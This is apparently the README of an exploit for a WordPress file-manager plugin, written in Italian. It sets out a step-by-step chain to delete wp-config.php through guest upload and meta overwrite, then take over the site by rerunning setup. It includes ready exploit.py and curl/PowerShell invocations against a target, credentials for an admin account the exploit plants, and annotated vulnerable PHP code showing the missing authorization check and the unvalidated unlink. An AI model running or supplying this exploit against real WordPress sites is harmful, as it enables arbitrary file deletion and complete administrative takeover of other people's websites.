1. Rilevare plugin + upload ospite abilitato
2. Estrarre automaticamente il nonce AJAX dalla pagina frontend (campo input nascosto)
3. Caricare file come ospite OPPURE forzare l'ID del post esistente
4. Sovrascrivere wpfm_dir_path tramite bypass query string → puntare a wp-config.php
5. Attivare wpfm_delete_file → unlink(wp-config.php)
6. WordPress entra in modalità di configurazione (setup-config.php)
7. Completare la configurazione con un database controllato dall'attaccante
8. Accedere come admin → takeover completo

# Installa dipendenze
pip install -r requirements.txt

# Exploit automatico completo (nonce rilevato automaticamente)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root

# Solo rilevamento
python exploit.py -u http://target.com --detect-only

# Con nonce manuale (se il rilevamento automatico fallisce)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4

# Con proxy Burp
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080

# Configurazione database attaccante personalizzata
python exploit.py -u http://target.com \
    -p /var/www/html/wp-config.php \
    --dbname pwned_db \
    --dbuser root \
    --dbpass secret \
    --dbhost localhost

URL:      http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!

bash poc_curl.sh http://target.com

.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"

<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />

var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};

/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
    wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/

$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
    update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}

$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// Quando l'upload ospite è ON → !$allow_guest = false → l'intero controllo viene SALTATO

function delete_file_locally() {
    $file_path = $this->path;  // da wpfm_dir_path meta - NESSUNA VALIDAZIONE
    if (file_exists($file_path)) {
        unlink($file_path);    // ELIMINAZIONE ARBITRARIA DI FILE
    }
}

function path() {
    $file_dir_path = null;
    if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
        $file_dir_path = $this->legacy->path();  // fallback: upload_dir + wpfm_file_name
    }
    if( ! is_file($file_dir_path) ) {
        $file_dir_path = null;
    }
    return $file_dir_path;  // NESSUNA canonicalizzazione, NESSUN controllo realpath
}